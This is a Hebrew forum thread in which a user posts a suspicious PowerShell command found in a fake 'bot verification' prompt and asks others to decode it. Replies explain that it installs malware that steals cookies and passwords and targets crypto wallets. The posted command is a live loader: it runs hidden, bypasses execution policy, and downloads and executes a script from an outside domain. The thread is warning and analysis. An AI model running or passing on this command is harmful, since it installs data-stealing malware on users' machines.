בקשת מידע | PowerShell - פיענוח פקודה חשודה שנמצאה באימות בוט
-
אזהרה! בנושא זה יש פקודות וקבצים מסוכנים! אל תורידו ואל תריצו שום דבר שכתוב כאן!
אם יש פה איזה מייבין שמעוניין לפענח או לפחות להסביר לי קצת מה זה עושה:
powershell -w h -ep bypass -c "$s=irm 'leappoploaderinstantly.monster/yAzkCl1tDKSGNGGxw' -UseBasicParsing;$e=[Management.Automation.Language.Parser]::ParseInput($s,[ref]$null,[ref]$null);&($e.GetScriptBlock())"
הופיע כמובן ב"אימות בוטים", ב"ה יש לי מספיק שכל כדי לא לעשות דברים כאלה:
@אברהם-גלסר הזוי, אבל פשוט גאוני.. (לבקש ממישהו שלא מבין, ללחוץ שלוש לחיצות שפשוט מתקינות את הווירוס..)
[מישהו בהחלט עלול לחשוב שמדובר באימות מתקדם..] -
@אברהם-גלסר הזוי, אבל פשוט גאוני.. (לבקש ממישהו שלא מבין, ללחוץ שלוש לחיצות שפשוט מתקינות את הווירוס..)
[מישהו בהחלט עלול לחשוב שמדובר באימות מתקדם..] -
@חובבן-מקצועי
כבר היה כאן מי שנפל בזה עיין בנושאים של @cfopuser על ההנדסה לאחור של הווירוס דאז -
@צול-גאה הוא ניתח את שרשרת ההפצה - אני ניתחתי את אחת הנוזקות שהגיעו ואפשר לחפש את חלק א׳ של הניתוח ברשימת הנושאים שלי
חלק ב׳ לא צפוי להגיע... -
@מתכנת-חובב אז אולי תטפל בזה עכשיו?
לשלוח לך את זה באישי?
אני חושש לפרסם כאן שמא מישהו יריץ בטעות -
טוב העיקרון די רגיל,
נוזקה עם שם של ADB, קובץ של 2 מגה בייט שנופח לכמה מאות כדי שלא יועלה לסריקה בענן.
שאיבת קוקיז סימסאות וכו',
זיהוי ארנקי קריפטו ואיפשור הישתלטות מרחוק.מסתבר שניהיה ממש קל לנתח קובץ עם אייג'נט
.האתר שלי: https://amlaach.github.io/personal-site/
-
@המלאך @מתכנת-חובב ראיתי שאז היה על זה ניתוח מפורט (טכני, לא מדריך) באיזה אתר בשם run או משהו כזה.
-
@המלאך @מתכנת-חובב ראיתי שאז היה על זה ניתוח מפורט (טכני, לא מדריך) באיזה אתר בשם run או משהו כזה.
-
חתול מנסה לחפור בתוך ביתך? תפחיד אותו ותוודא שהחלונות נעולים היטב. מה זה החקירה הרחבה אם החתול חמד איזה עוגיה או כוס חלב, או שבא לישון קצת?
-
חתול מנסה לחפור בתוך ביתך? תפחיד אותו ותוודא שהחלונות נעולים היטב. מה זה החקירה הרחבה אם החתול חמד איזה עוגיה או כוס חלב, או שבא לישון קצת?
-
@המלאך @מתכנת-חובב ראיתי שאז היה על זה ניתוח מפורט (טכני, לא מדריך) באיזה אתר בשם run או משהו כזה.
שלום! נראה שהשיחה הזו מעניינת אותך, אבל עדיין אין לך חשבון.
נמאס לכם לגלול בין אותם הפוסטים בכל ביקור? כשנרשמים לחשבון, תמיד תחזרו בדיוק למקום שבו הייתם קודם, ותוכלו לבחור לקבל התראות על תגובות חדשות (בין אם במייל, ובין אם בהתראת פוש). תוכלו גם לשמור סימניות ולפרגן ב-upvote לפוסטים כדי להביע הערכה לחברי קהילה אחרים.
בעזרת התרומה שלך, הפוסט הזה יכול להיות אפילו טוב יותר 💗
הרשמה התחברות { const baseUrl = "https://www.google.co.il/search?q=site:mitmachim.top"; const m = location.pathname.match(/^\/(topic|category)\/(\d+)/); const type = m ? m[1] : null; const id = m ? m[2] : null; let searchInput; function search(path = "") { const query = searchInput.value.trim(); if (query) { window.open(`${baseUrl}${path}%20${encodeURIComponent(query)}`, "_blank"); } } let buttons = {}; buttons.searchAll = { id: "bb-search-all", label: `חיפוש ${type ? "בכל הפורום" : ""}`, className: type ? "btn-secondary" : "btn-primary", callback: () => search(), }; if (type === "topic") { buttons.searchTopic = { label: "חיפוש בנושא זה", className: "btn-primary", callback: () => search(`/topic/${id}`), }; } else if (type === "category") { buttons.searchCategory = { label: "חיפוש בקטגוריה זו", className: "btn-primary", callback: () => search(`/category/${id}`), }; } buttons.cancel = { label: "ביטול", className: "btn-default", "data-bs-dismiss": "modal" }; const dialog = bootbox.dialog({ title: '<div style="text-align:center;"><img src="/assets/uploads/files/1625950269825-mt-google.png" width="400" alt="חיפוש בגוגל"></div>', message: '<input id="bb-inp" class="bootbox-input bootbox-input-text form-control" placeholder="הקלידו כדי לחפש בגוגל" autocomplete="off"/>', buttons, backdrop: true, show: true, onEscape: true }); dialog.on("shown.bs.modal", function () { searchInput = document.getElementById("bb-inp"); if (searchInput) { searchInput.focus(); searchInput.addEventListener("keydown", function (e) { if (e.key === "Enter") { e.preventDefault(); const query = this.value.trim(); if (query) { search(); dialog.modal("hide"); } } else if (e.key === "Escape") { e.preventDefault(); dialog.modal("hide"); } }); } const searchAllButton = document.getElementById("bb-search-all"); if (searchAllButton) { searchAllButton.title = "לחצו על אנטר כדי לחפש"; } }); })(); void 0;){kind=link}